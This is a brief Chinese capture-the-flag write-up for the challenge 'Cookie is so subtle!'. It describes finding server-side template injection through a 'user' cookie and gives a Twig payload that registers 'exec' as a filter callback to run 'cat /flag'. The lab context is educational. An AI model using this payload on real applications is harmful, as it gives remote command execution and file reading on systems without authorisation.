【原创】Cookie is so subtle!

[huayang]

打开题目点击flag，随便输入一些

发现疑似ssti注入

验证一下

我们查看cookie发现多出一个user参数

构建payload

;user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[/huayang]

FROM：浅浅淡淡[hellohy]